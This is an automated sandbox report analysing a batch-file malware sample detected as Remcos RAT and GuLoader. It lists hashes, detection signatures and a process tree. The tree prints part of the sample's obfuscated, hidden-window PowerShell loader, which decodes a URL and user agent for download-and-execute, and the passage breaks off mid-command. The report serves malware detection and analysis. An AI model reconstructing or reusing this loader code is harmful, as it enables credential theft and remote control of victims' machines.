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Windows
Analysis Report
ZW_PCCE-010023024001.bat
Overview
General Information
| Sample name: | ZW_PCCE-010023024001.bat |
| Analysis ID: | 1540333 |
| MD5: | 38b51fe8789aee6c37ac4fa092eefa0f |
| SHA1: | 8b5003d1917a07cd8f66cea66ad0add47130fc5b |
| SHA256: | 36a9a24404963678edab15248ca95a4065bdc6a84e32fcb7a2387c3198641374 |
| Tags: | batuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 7252 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\ZW_PC CE-0100230 24001.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7260 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 7344 cmdline: powershell .exe -wind owstyle hi dden " <#C hrimsel af lsser puri ficant #>; $Hydrosphe re='Northu mbria';<#O pkaldelses Torsioner nes Certif iability I conomachal Neutroner ne Abv Afg iftningers #>;$Filer esdeologik ritikkerne s=$Lovrege l+$host.UI ; function viruserne ($Tentacul ite){If ($ Fileresdeo logikritik kernes) {$ Gasapparat s++;}$File resmitator s=$Troldun ges+$Tenta culite.'Le ngth'-$Gas apparats; for( $File res=4;$Fil eres -lt $ Fileresmit ators;$Fil eres+=5){$ Sempres=$F ileres;$Ha ccucal+=$T entaculite [$Fileres] ;$Threadma king='Bags toppere';} $Haccucal; }function Vvningens( $Smadrekas sens){ & ($Hypoge ic122) ($S madrekasse ns);}$Taag ngeres=vir userne 'R suMChlooMa alz Ko iCo erlSylflHy b.aDyrt/De lg ';$Taag ngeres+=vi ruserne 'C omp5helb.B ai 0moth R ege(MaiiWB e aiTaranT am,d SuroT aanwFisksD .bk esiNSa ndTEunu Ca yu1T nt0Re ts.Sp j0St er; Kha Re tWBergi np an Sta6Pea c4Parb; Wo o VegxReto 6Syne4 F,i ; Nov Mass rBondvStud :Yug,1Mu.v 3Inge1A ur . pap0 Pil )Gimb Usk GCirce Mil cEskok Sva o C a/Kons 2 Ell0Mure 1Domi0 Kar 0Edde1Tamm 0 ato1Smut Re,mFG ac iSte.rForv eSalofTank oSmrexHuck /Miso1Dena 3Gird1Bi d . Mid0Data ';$Uncorn er=viruser ne ',edgUV ilds xtrE defROmdm-F olkaDrawGM thePrepnE rnrT Mi. ' ;$Neuk=vir userne 'De lrhRacetHk rtRo kpTa tasf.du:Ov er/Thra/St oreEqu tHa vfhteisyK imsLasi. , atrFistoVi ri/SmaaNth ymo elinat hyaUn fdRe asdAtomiJi bicPikatBu reiStepnRg agO ga. D umqCounx E nedScri '; $Dacryd=vi ruserne 'F elt>Hjer ' ;$Hypogeic 122=viruse rne 'TrafI Vinoe trix Gono ';$Ga r='Nondenu nciatory'; $Fejlfunkt ioner='\Tr ykimprgner edes.Ene'; Vvningens (viruserne 'Sp.y$Ho. lG stoLAfv OkarlB Ek aaNondLLen t: Ud.Spe iU SamP,sk ve TerrDae mdBankUSup erGestA ti rlValg=Lan k$ IndE Ka tnBrobvLac t: SenaInf oPTerrpJon gD S saF r mt RetA.ob b+ Lat$Ps, uFDesqEHow lJRis LArc hFUnfeu jl kNulykkCon sT E,iisi. toKerbNMus ee Ha RWav e ');Vvnin gens (viru serne 'Alt e$W dlg Ko nlTra OTyv sB T aA la LExec:Udda MUna oBest ST ilAUnas I MorKM.ur kI,ideUnex r BarNB.rg ePapi= .an $DopinSvr. eTrykuRebr KKatr. agi SFagsp Bde l dagi vi t.uss(Uds $F nzDS ap asvanCUnde RK drY Pre dLege)Shin ');Vvning ens (virus erne 'D.fi [,rayn adk EdragT Ido .Tri S Dup ETredRA sk vSul,iSknl cIndiE Und P Re O rnd iGuatnnond T S emFarv aStranP eg AAuxoGUdly EUdg,rClo ]Para:Bu,a :InlasUnca eConnCF,rk URallrO gr IWithtChar ySeraPRadi rNarkODipl TO,thOKont cLangoPyga lland T,rp =skin .ver [banknKoe, ePoi T,ent .UnsuSEryt E tancAgar UForpr Va, IP ivT Bro yFrgepBrnd R Incotrav tSurmOBwan cJasiOUnqu L DestVapo YphytP lat eSk f]Hand :Velv: S,d t ,teL Vid SStam1Duct 2Skr ');$N euk=$mosai kkerne[0]; $Srlovgivn ingerne=(v iruserne ' Pek.$U paG StenLA trO